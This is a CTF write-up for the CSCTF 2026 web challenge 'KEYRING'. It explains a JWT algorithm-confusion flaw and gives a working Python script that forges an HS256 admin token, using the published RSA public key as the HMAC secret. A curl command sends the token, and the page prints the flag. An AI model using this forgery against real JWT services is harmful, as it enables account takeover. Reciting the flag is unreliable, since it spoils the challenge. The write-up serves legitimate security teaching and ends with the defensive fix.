CSCTF 2026Web
KEYRING
"Kestrel ID" issues session tokens as RS256 JSON Web Tokens and publishes the RSA public key at /.well-known/kestrel-id.pem.
- Competition
CSCTF 2026- Category
- WebEasy
- Source status
- Source-documented · not platform-verified
- Document
- PDF edition2 min read
Brief
The challenge
- Competition
- CSCTF (Chronos Security)
- Category
- Web / Easy (120 pts)
- Target
http://w01.ctf.chronos-security.ro:<port>(per-instance)
TL;DR
"Kestrel ID" issues session tokens as RS256 JSON Web Tokens and publishes the RSA public key at /.well-known/kestrel-id.pem. The verifier accepts the algorithm named in the token header, so this is a textbook RS256 → HS256 algorithm-confusion bug: forge an HS256 token using the published public key as the HMAC secret, set role to admin, and the admin console hands over the break-glass recovery key (the flag).
Recon
The sign-in page (
Server: kestrel-id) links to a/developerspage. Two notices are the whole hint:"The token signing key is replaced on every service restart. Integrations should fetch it from the Developers page."
/developersdocuments the token: stateless JWT in thesessioncookie, claimssub, role, iat, exp, jti, and a "Signature public key" downloadable at/.well-known/kestrel-id.pem(kid0853c60456a120c3).
Registering an account (
POST /register) immediately sets asessioncookie. Decoded:Header:
{"alg":"RS256","typ":"JWT"}Payload:
{"iss":"https://id.vjod.internal","aud":"vjod-staff","sub":"...","role":"user",...}
/adminreturns 403: "Your account does not have the administrator role." So we needrole:admin.
The server verifies tokens with the RSA public key, which is public. If the verification routine also allows symmetric HS256, it will use that same public-key material as the HMAC key — which the attacker also has.
Exploit
Forge an HS256 token, signing with the exact bytes of the downloaded PEM file as the HMAC secret:
import base64, hmac, hashlib, json, timeb64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=")key = open("kestrel-id.pem","rb").read() # public key used as HMAC secretnow = int(time.time())payload = {"iss":"https://id.vjod.internal","aud":"vjod-staff", "sub":"liaison_test99","role":"admin", "iat":now,"exp":now+28800,"jti":"deadbeefdeadbeef"}h = b64u(json.dumps({"alg":"HS256","typ":"JWT"},separators=(",",":")).encode())p = b64u(json.dumps(payload,separators=(",",":")).encode())si = h+b"."+ptoken = (si+b"."+b64u(hmac.new(key,si,hashlib.sha256).digest())).decode()Send it as the session cookie:
curl -b "session=<token>" http://w01.ctf.chronos-security.ro:<port>/admin/admin now returns 200 with the administration console. Its "Break-glass access" card contains:
Break-glass recovery key: CSCTF{QxDFC5wZ7e9TB2QC4tme8PDh}(The raw PEM bytes, as downloaded, were the correct key representation — no newline trimming needed.)
Flag
Flag
CSCTF{QxDFC5wZ7e9TB2QC4tme8PDh}
Source-documented · not platform-verified
Lesson
Never let a JWT verifier trust the alg header. Publishing the RS256 public key is fine only if the server pins the algorithm to RS256; accepting HS256 turns the public key into a shared HMAC secret and lets anyone forge tokens.